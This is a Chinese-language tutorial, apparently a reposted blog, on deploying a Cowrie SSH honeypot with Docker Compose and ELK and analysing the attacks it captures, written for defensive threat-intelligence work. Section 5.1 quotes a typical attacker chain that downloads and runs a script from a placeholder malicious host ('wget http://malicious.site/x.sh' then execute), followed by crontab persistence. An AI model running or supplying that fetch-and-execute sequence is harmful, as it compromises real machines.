基于Docker与ELK的蜜罐部署实战:从原理到威胁情报分析

news2026/5/7 10:06:20
1. 项目概述与核心价值最近在安全研究圈里一个名为renat0z3r0/m0lthoney的项目引起了我的注意。乍一看这个项目名你可能会觉得它像某种神秘的代码或者某个游戏模组但实际上它是一个非常典型的、用于主动防御和威胁情报收集的“蜜罐”项目。简单来说蜜罐就是故意暴露在互联网上、伪装成真实系统的“诱饵”用来吸引、记录并分析攻击者的行为。而m0lthoney这个名字本身就带有一种“甜蜜的陷阱”的隐喻暗示了其核心功能。这个项目能做什么它本质上是一个部署脚本和配置集合能够帮你快速搭建一个看起来像是有漏洞的、正在运行老旧或易受攻击服务的服务器环境。攻击者一旦“咬钩”他们所有的扫描、探测、登录尝试、命令执行等操作都会被完整地记录下来。对于安全运维人员、威胁情报分析师甚至是想要了解当前网络攻击态势的个人研究者来说这无疑是一个宝贵的实战数据来源。它解决的正是“被动挨打”的困境让你能从攻击者的视角主动观察和收集第一手的攻击手法、工具和意图。那么这个项目适合谁来学习和参考呢首先当然是从事网络安全、SOC安全运营中心、威胁情报工作的同行。其次对于正在学习渗透测试和红队技术想要了解攻击者真实行为模式的学生和安全爱好者通过分析蜜罐捕获的数据能获得比任何教科书都更生动的案例。最后对于中小企业的IT管理员如果对自身网络边界的安全状况心存疑虑部署一个简单的蜜罐也能起到“预警铃”的作用让你知道是否已经被“盯上”。接下来我将从设计思路、核心组件、部署实操到数据分析为你完整拆解这个项目。2. 项目整体设计与架构思路2.1 核心设计哲学高交互与低维护蜜罐分为低交互和高交互两种。低交互蜜罐通常只是模拟服务的握手协议和有限响应资源消耗小但容易被经验丰富的攻击者识破。高交互蜜罐则提供一个近乎真实的操作系统环境攻击者可以与之深度交互甚至获得一个“shell”从而捕获更复杂、更真实的攻击链。m0lthoney项目从其依赖和配置来看更倾向于构建一个“中等至高交互”的蜜罐环境。它的设计哲学很明确用尽可能真实的软件和服务来“扮演”诱饵同时通过精心的配置和监控工具确保攻击行为被完整记录且不会对宿主机造成真实危害。项目没有选择从零开始编写复杂的模拟服务而是巧妙地利用了现有开源工具的组合例如Docker用于环境隔离Cowrie一个SSH和Telnet蜜罐用于捕获暴力破解和shell交互再配合其他用于模拟Web服务、数据库服务的组件。这种“组合拳”的思路既降低了开发维护成本又保证了各个组件的成熟度和稳定性。2.2 技术栈选型与组件解析项目通常依赖于几个核心的开源蜜罐和辅助工具。虽然具体版本可能迭代但我们可以基于常见实践来解析其核心组件Cowrie这是项目的核心之一。Cowrie 是一个中等交互的SSH和Telnet蜜罐它会模拟一个Unix shell环境。攻击者通过SSH连接进来后可以执行一些基础命令如ls,cd,whoami等Cowrie 会给出合理的响应同时将所有输入的命令、上传的文件、输入的密码等细节记录到日志中。它甚至能模拟一个虚拟的文件系统让攻击者感觉自己在与一台真实的Linux服务器交互。Docker容器化是现代化部署的基石。使用 Docker 可以将每个蜜罐服务如 Cowrie, 一个模拟的 WordPress 网站一个模拟的 Redis 数据库隔离在独立的容器中。这样做的好处显而易见环境隔离一个蜜罐被攻破不影响其他容器或宿主机、快速部署与销毁一键启动分析完毕后直接删除容器、资源可控限制CPU和内存使用。项目提供的docker-compose.yml文件正是为了编排这些容器。ELK Stack (Elasticsearch, Logstash, Kibana) 或类似方案海量的日志需要被集中存储、处理和可视化。一个成熟的蜜罐项目必然会集成日志分析套件。Elasticsearch 负责存储和索引日志Logstash 或 Filebeat 负责收集和解析来自各个蜜罐容器的日志Kibana 则提供强大的仪表盘让你能图形化地看到攻击来源IP地图、高频攻击口令、热门攻击路径等。辅助服务模拟器除了SSH攻击者还会扫描其他端口。因此项目可能包含用于模拟以下服务的组件Web蜜罐如Glastopf或定制化的简单HTTP服务用于记录针对Web应用的扫描和攻击如SQL注入、路径遍历探测。数据库蜜罐如模拟一个未授权访问的Redis或MySQL服务记录攻击者尝试执行命令或下载数据的行为。其他协议蜜罐如ADBHoney针对Android调试桥的攻击或IOT蜜罐取决于项目的侧重点。注意在选型时务必考虑法律和伦理边界。蜜罐应部署在你拥有完全控制权的网络和硬件上通常用于科研、教育或保护自身网络。绝对禁止用于攻击他人或窃取数据。2.3 网络架构与数据流设计一个典型的m0lthoney部署架构如下图所示概念性描述[互联网攻击者] - (公网IP:端口) - [宿主机防火墙] - [Docker网络] - [Cowrie容器:22端口] - [Web蜜罐容器:80端口] - [日志收集器] - [ELK容器集群]宿主机通过防火墙规则如iptables或ufw将特定的端口如22, 80, 3306, 6379转发到对应Docker容器的内部端口。所有容器将日志输出到标准输出stdout或特定的日志文件然后由Logstash或Filebeat采集并发送到 Elasticsearch。最终分析师通过 Kibana 的Web界面进行交互式查询和分析。这种架构的关键在于“诱饵暴露”和“数据归集”。你需要谨慎决定将哪些端口暴露到公网这直接决定了你能捕获到何种类型的攻击。同时日志管道的稳定性和吞吐量决定了你是否会丢失关键的攻击事件记录。3. 核心组件部署与配置详解3.1 基础环境准备与依赖安装部署的第一步是准备一台干净的服务器。推荐使用 Ubuntu 22.04 LTS 或 Debian 11 等稳定的Linux发行版。一个具有至少2核CPU、4GB内存和50GB磁盘空间的VPS或物理机就足以运行一个基础版的蜜罐集群。步骤1系统更新与基础工具安装sudo apt update sudo apt upgrade -y sudo apt install -y curl wget git vim net-tools步骤2安装 Docker 和 Docker Compose这是整个项目的运行基石。Docker官方提供了便捷的安装脚本。# 安装 Docker curl -fsSL https://get.docker.com -o get-docker.sh sudo sh get-docker.sh sudo usermod -aG docker $USER # 将当前用户加入docker组避免每次用sudo # 退出终端重新登录使组权限生效 # 安装 Docker Compose (以v2为例) DOCKER_CONFIG${DOCKER_CONFIG:-$HOME/.docker} mkdir -p $DOCKER_CONFIG/cli-plugins curl -SL https://github.com/docker/compose/releases/latest/download/docker-compose-linux-x86_64 -o $DOCKER_CONFIG/cli-plugins/docker-compose chmod x $DOCKER_CONFIG/cli-plugins/docker-compose # 验证安装 docker compose version步骤3获取项目代码假设项目托管在 GitHub 上。git clone https://github.com/renat0z3r0/m0lthoney.git cd m0lthoney进入目录后你通常会看到几个关键文件docker-compose.yml编排文件、各个服务的Dockerfile构建镜像或配置目录如cowrie/,elk/。3.2 Cowrie SSH蜜罐的深度配置Cowrie 是交互的核心其配置决定了“诱饵”的真实性。配置文件定位在项目结构中Cowrie的配置通常位于cowrie/etc/目录下。关键文件是cowrie.cfg。关键配置项解析与定制监听端口与伪装在[ssh]和[telnet]部分可以设置listen_port。在docker-compose.yml中我们会将宿主机的22端口映射到容器的这个端口。更高级的伪装可以修改[ssh]下的version字符串让它看起来像OpenSSH_7.6p1等特定版本。[ssh] listen_port 2222 # 容器内端口外部通过映射访问 version SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.3实操心得不要使用默认的2222端口直接暴露一定要通过宿主机防火墙将其映射到22端口。因为全球的自动化扫描器几乎只扫22端口。你可以将容器内的Cowrie端口设为2222在docker-compose.yml中映射为22:2222。虚拟文件系统与用户[honeypot]部分下的fake_addr可以设置一个假的IP来响应ifconfig。contents_path指向一个目录里面定义了虚拟的/etc/passwd,/etc/shadow等文件内容。你可以在这里创建一些诱饵用户如admin、root带弱密码、oracle等。[honeypot] fake_addr 192.168.1.100 contents_path /cowrie/share/txtfs你需要编辑txtfs目录下的文件。例如在etc/passwd中加入一行backup:x:1001:1001:Backup User,,,:/home/backup:/bin/bash。日志输出确保[output_jsonlog]或[output_syslog]被启用并将日志输出到标准输出stdout或一个文件方便 Docker 的日志驱动或 Filebeat 收集。[output_jsonlog] enabled true logfile /cowrie/log/cowrie.json在Docker环境中更佳实践是直接输出到stdout这样可以通过docker logs查看也便于日志收集器处理。命令交互与仿真Cowrie 内置了一个命令解释器。在txtfs目录下可以放置一些虚假的文件内容。当攻击者执行cat /etc/passwd时看到的就是你预设的内容。你还可以在配置中启用或禁用某些命令的响应。3.3 Docker Compose 编排与网络配置docker-compose.yml文件是大脑它定义了所有服务如何协同工作。一个简化的示例骨架version: 3.8 services: cowrie: image: cowrie/cowrie:latest # 或使用自己构建的镜像 container_name: m0lt_cowrie restart: unless-stopped ports: - 22:2222 # 关键宿主机22端口映射到容器2222端口 - 23:2223 # Telnet端口映射 volumes: - ./cowrie/etc:/cowrie/etc:ro # 挂载配置文件只读 - ./cowrie/log:/cowrie/log # 挂载日志目录持久化 - ./cowrie/share/txtfs:/cowrie/share/txtfs:ro # 挂载虚拟文件系统 networks: - honeypot-net elasticsearch: image: elasticsearch:8.11.0 container_name: m0lt_es environment: - discovery.typesingle-node - ES_JAVA_OPTS-Xms512m -Xmx512m - xpack.security.enabledfalse # 测试环境可关闭安全认证 volumes: - es-data:/usr/share/elasticsearch/data ports: - 9200:9200 networks: - honeypot-net kibana: image: kibana:8.11.0 container_name: m0lt_kibana environment: - ELASTICSEARCH_HOSTShttp://elasticsearch:9200 ports: - 5601:5601 depends_on: - elasticsearch networks: - honeypot-net logstash: image: logstash:8.11.0 container_name: m0lt_logstash volumes: - ./logstash/config/logstash.conf:/usr/share/logstash/pipeline/logstash.conf:ro - ./cowrie/log:/cowrie-log-input:ro # 假设从这里读取Cowrie日志 depends_on: - elasticsearch networks: - honeypot-net networks: honeypot-net: driver: bridge volumes: es-data:关键配置解读端口映射cowrie服务的ports部分是最关键的。将宿主机的22端口暴露给公网流量会转到容器内的2222端口Cowrie服务端口。这模拟了一台开放SSH服务的服务器。网络所有服务在同一个自定义网络honeypot-net下它们可以通过服务名如elasticsearch相互通信与宿主机隔离。数据持久化通过volumes将容器内的配置、日志和数据目录挂载到宿主机。这样即使容器删除日志和Elasticsearch的数据也不会丢失。注意配置文件的挂载模式为:ro只读防止容器意外修改配置。依赖顺序使用depends_on确保服务启动顺序例如kibana和logstash需要等elasticsearch就绪后再启动。3.4 日志收集管道搭建Logstash配置Logstash 的配置是数据处理的枢纽。你需要编写一个logstash.conf文件通常包含input,filter,output三个部分。示例配置片段input { file { path /cowrie-log-input/cowrie.json # 对应挂载的Cowrie日志路径 start_position beginning sincedb_path /dev/null # 每次从头读取仅用于测试。生产环境需管理sincedb codec json # 因为Cowrie输出JSON格式日志 } } filter { # 解析JSON字段已存在这里主要做清洗和增强 # 添加一个字段标记数据来源 mutate { add_field { [metadata][source] cowrie_ssh } } # 将日志时间戳转换为Logstash的timestamp date { match [ timestamp, ISO8601 ] target timestamp } # 地理IP查询需要安装geoip插件 geoip { source src_ip target geoip } } output { elasticsearch { hosts [http://elasticsearch:9200] index honeypot-cowrie-%{YYYY.MM.dd} # 按日生成索引便于管理 } # 同时输出到控制台用于调试 stdout { codec rubydebug } }这个配置完成了从JSON文件读取日志、添加元数据、时间戳格式化、对源IP进行地理定位最后输出到Elasticsearch并按日期分索引存储。注意事项在生产环境中使用fileinput 插件需要注意日志轮转log rotation和sincedb的管理。更常见的做法是使用Filebeat作为日志采集器它更轻量能更好地处理文件状态跟踪然后将数据发送给 Logstash 或直接给 Elasticsearch。4. 部署实操与系统调优4.1 一键启动与服务验证配置完成后在包含docker-compose.yml的目录下执行启动命令docker compose up -d-d参数代表后台运行。系统会拉取镜像如果本地没有、创建网络和卷并启动所有定义的服务。验证服务状态docker compose ps你应该看到所有服务的状态都是Up。如果某个服务反复重启Restarting需要查看其日志定位问题docker compose logs -f cowrie # 查看cowrie容器的实时日志 docker compose logs elasticsearch # 查看elasticsearch日志验证端口监听 在宿主机上执行sudo netstat -tlnp | grep -E :22|:80|:5601|:9200你应该能看到22端口映射给Cowrie、5601端口Kibana、9200端口Elasticsearch处于监听状态。初步测试蜜罐 从另一台机器或本机用另一个终端尝试SSH连接到蜜罐服务器的22端口ssh root你的蜜罐服务器IP你会被连接上但提示符或交互可能和真实系统略有不同。尝试输入几个命令如ls、pwd。然后回到蜜罐服务器查看Cowrie日志docker compose logs cowrie --tail 50你应该能看到刚才连接尝试和命令执行的JSON格式日志记录。4.2 安全加固与风险隔离绝对不要在没有任何防护的情况下将蜜罐直接暴露在公网。以下加固措施至关重要宿主机防火墙UFW只开放必要的端口。sudo ufw default deny incoming # 默认拒绝所有入站 sudo ufw default allow outgoing # 允许所有出站 sudo ufw allow 22/tcp # 开放SSH蜜罐端口谨慎 # 开放Kibana和ES端口但建议仅限管理IP访问见下条 sudo ufw allow from 你的管理IP to any port 5601 sudo ufw allow from 你的管理IP to any port 9200 sudo ufw enable重要提示将SSH蜜罐端口22暴露给全网是必要的“诱饵”但你的真实SSH管理端口如22222必须修改并严格限制IP访问或者仅通过VPN/跳板机访问避免混淆和误攻击。Docker守护进程安全确保Docker API不被外部访问。# 检查Docker是否在监听TCP端口危险 sudo netstat -tlnp | grep dockerd # 如果发现监听在0.0.0.0:2375等应立即关闭。 # 编辑 /lib/systemd/system/docker.service确保没有 -H tcp://... 参数。容器资源限制在docker-compose.yml中为每个服务设置资源上限防止某个蜜罐被滥用导致宿主机资源耗尽如DDoS攻击。services: cowrie: # ... 其他配置 deploy: resources: limits: cpus: 1.0 memory: 1G reservations: cpus: 0.5 memory: 512M使用非root用户运行容器在Dockerfile或compose文件中尽可能指定以非root用户运行进程减少潜在逃逸带来的危害。services: cowrie: user: 1000:1000 # 使用宿主机上一个普通用户的UID:GID # ... 其他配置4.3 Kibana仪表盘配置与数据可视化服务启动后访问http://你的服务器IP:5601进入Kibana。第一步创建索引模式进入Management-Stack Management-Index Patterns-Create index pattern。输入索引名称honeypot-cowrie-*匹配我们Logstash配置的索引格式。选择时间字段为timestamp。创建完成。第二步探索数据进入Analytics-Discover选择你创建的honeypot-cowrie-*索引模式你就可以看到所有捕获的SSH/Telnet事件了。字段包括src_ip攻击源IP、eventid事件类型如cowrie.login.failed登录失败、password尝试的密码、input输入的命令等。第三步构建仪表盘进入Analytics-Dashboard-Create dashboard。你可以添加各种可视化组件坐标地图Coordinate Map将geoip.location字段拖入立即看到全球攻击来源分布。数据表Data Table统计src_ip的出现频率快速找到最活跃的攻击者IP。柱状图Vertical Bar按eventid分类查看登录成功、失败、命令执行等事件的数量。标签云Tag Cloud展示最常被尝试的username和password你会发现root/admin和123456/password的组合是多么常见。时序图Time Series按时间统计事件数量观察攻击的高峰时段。将这些组件保存到一个仪表盘中你就拥有了一个实时监控攻击态势的“指挥中心”。5. 攻击数据分析与威胁情报提炼部署稳定运行几天后你就会积累大量数据。分析这些数据是蜜罐价值的最终体现。5.1 典型攻击模式识别通过Kibana的筛选和聚合查询你可以发现一些规律暴力破解字典分析在Discover中筛选eventid: cowrie.login.failed然后查看password字段。你会看到一个庞大的密码字典列表。除了常见的弱密码现在越来越多的攻击使用针对特定服务如jenkins,redis的默认密码或常见组合。你可以将这些密码列表导出用于加固你真实系统的密码策略。攻击源画像通过地理地图和IP统计你可以看到攻击主要来自哪些国家或地区的IP段。结合src_ip你可以在威胁情报平台如 AbuseIPDB, VirusTotal上查询这些IP的信誉了解它们是否还涉及其他恶意活动如扫描、垃圾邮件、漏洞利用。攻击链还原对于成功登录的事件eventid: cowrie.login.success追踪该会话的sessionID查看后续的input命令序列。一个典型的攻击链可能是whoami-id确认权限uname -a-cat /etc/issue探测系统信息wget http://malicious.site/x.sh-chmod x x.sh-./x.sh下载并执行恶意脚本curl ifconfig.me检查出口IP尝试crontab写入定时任务进行持久化。 通过分析这些命令你可以了解攻击者的意图挖矿、DDoS肉鸡、勒索软件投放和使用的工具。5.2 从数据到行动威胁情报的应用收集到的数据不应只停留在“看”的层面。生成防火墙黑名单将频繁出现、行为恶意的源IP例如尝试登录超过50次且使用了10种以上不同密码的IP加入到宿主机或网络边界防火墙的永久黑名单DROP规则中。# 示例使用iptables封禁IP sudo iptables -I INPUT -s 1.2.3.4 -j DROP # 更可持续的做法是编写脚本定期从Elasticsearch查询恶意IP并更新ipset集合。丰富内部威胁情报库将捕获的恶意URL如wget或curl下载的链接、样本的MD5/SHA256哈希值如果Cowrie配置了保存下载文件功能、攻击者使用的用户名密码组合加入到你们组织的内部威胁情报TI数据库中。这可以用于增强WAFWeb应用防火墙、IDS入侵检测系统和EDR终端检测与响应的检测规则。共享与协作在符合法律和公司政策的前提下可以将匿名化的攻击指标IoC如恶意IP、域名、文件哈希分享到行业内的威胁情报共享平台如 MISP帮助整个社区提升防御能力。5.3 高级技巧使用Elasticsearch聚合进行深度分析除了Kibana的可视化直接使用Elasticsearch的聚合API可以进行更复杂的分析。例如找出在成功登录后最常执行的前5条命令# 使用 curl 调用 Elasticsearch API (假设索引名为 honeypot-cowrie-*) curl -X GET localhost:9200/honeypot-cowrie-*/_search?pretty -H Content-Type: application/json -d { query: { bool: { must: [ { term: { eventid: cowrie.command.input } }, { exists: { field: session } } ] } }, aggs: { top_commands: { terms: { field: input.keyword, size: 5 } } }, size: 0 } 这个查询会返回一个聚合结果显示类似wget,curl,uname -a,id,ls -la等命令的出现频率排序。6. 运维监控、问题排查与扩展6.1 系统监控与告警蜜罐本身也需要被监控确保其持续运行和数据完整性。容器健康监控使用docker compose ps定期检查或使用crontab设置定时任务通过脚本检查容器状态异常时发送告警邮件。# 简单检查脚本 check_honeypot.sh #!/bin/bash if ! docker compose ps | grep -q Up; then echo 蜜罐服务异常 | mail -s 蜜罐告警 your-emailexample.com fiElasticsearch 磁盘空间监控日志数据增长很快。监控/var/lib/docker/volumes/下对应卷的大小或者通过 Elasticsearch API 查看集群健康状态和索引大小。curl -X GET localhost:9200/_cat/indices?vsstore.size:descKibana 告警规则Kibana 自带的 “Alerting” 功能可以设置规则。例如当“1小时内登录成功事件超过10次”时触发一个告警动作发送邮件、调用Webhook。6.2 常见问题与排查实录问题1Cowrie容器启动失败日志显示Address already in use。原因宿主机22端口已被系统自身的sshd服务占用。解决修改宿主机的SSH服务端口或者停止宿主机的sshd如果不通过该端口管理。更安全的方法是修改宿主机SSH端口并保留22端口给蜜罐。# 编辑 /etc/ssh/sshd_config将 Port 22 改为 Port 22222 sudo vim /etc/ssh/sshd_config sudo systemctl restart sshd # 确保防火墙允许新端口然后从新端口登录测试。 # 此时宿主机的22端口已释放蜜罐可以绑定。问题2Kibana无法连接到 Elasticsearch显示Unable to retrieve version information...。原因网络不通、Elasticsearch未启动、或版本不兼容。排查检查Elasticsearch容器是否运行docker compose logs elasticsearch。在Kibana容器内测试连通性docker exec -it m0lt_kibana curl http://elasticsearch:9200。检查docker-compose.yml中Kibana的环境变量ELASTICSEARCH_HOSTS是否正确。确保Elasticsearch和Kibana的镜像版本匹配如都是8.11.x系列。问题3攻击日志没有出现在Kibana中。原因日志管道中断。排查步骤源头确认Cowrie有日志输出。docker compose logs cowrie查看是否有新事件记录。传输确认Logstash容器运行正常且配置文件路径挂载正确。进入Logstash容器检查配置文件docker exec -it m0lt_logstash cat /usr/share/logstash/pipeline/logstash.conf。输入检查Logstash日志看是否在读取文件docker compose logs logstash。查看是否有错误如文件权限问题容器用户无法读取宿主机挂载的文件。输出检查Elasticsearch中是否创建了索引curl http://localhost:9200/_cat/indices。通用方法在Logstash配置的output部分临时添加stdout { codec rubydebug }重启Logstash后在日志中直接查看处理后的数据这是最有效的调试手段。问题4蜜罐被识别攻击者连接后立即退出。原因Cowrie的模拟环境存在指纹特征被攻击者的自动化工具识别。缓解定制Cowrie的横幅banner和版本字符串使其更像一个真实的生产系统。修改虚拟文件系统中的文件内容和时间戳。增加一些“噪音”比如在虚拟文件系统中放置一些看似真实的日志文件片段、历史命令记录.bash_history。考虑使用更高交互的蜜罐如Dionaea或Conpot用于其他协议作为补充。6.3 项目扩展与定制化基础框架搭建好后你可以根据兴趣和需求进行扩展增加新的蜜罐服务在docker-compose.yml中添加新的服务。例如添加一个模拟易受攻击的WordPress站点的容器使用wpscan等工具的攻击就会被记录。或者添加一个Conpot蜜罐来模拟工业控制系统ICS协议。集成威胁情报馈送TI Feed编写一个脚本定期从公开的威胁情报源如 AlienVault OTX, Emerging Threats Rules获取恶意IP列表并动态更新到蜜罐前端的防火墙如iptables或pfSense中实现主动拦截。自动化分析报告使用Elasticsearch的API或Kibana的定时任务功能每天或每周自动生成一份PDF报告汇总攻击趋势、Top攻击源、Top攻击手法并发送到邮箱。部署分布式蜜罐在多地域、多网络环境的云服务器或VPS上部署相同的蜜罐栈通过一个中心化的Logstash或直接写入同一个Elasticsearch集群可以绘制出全球攻击态势图研究不同地区的攻击特征差异。部署和维护renat0z3r0/m0lthoney这样的蜜罐项目是一个持续学习和迭代的过程。它不仅仅是一个工具更是一个理解攻击者思维、验证安全防御有效性的动态实验室。每一次攻击日志的分析都可能揭示一种新的攻击模式或一个未被关注的漏洞。保持好奇心持续调整你的“诱饵”你将从被动防御者逐渐转变为拥有主动视野的安全观察者。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2591133.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…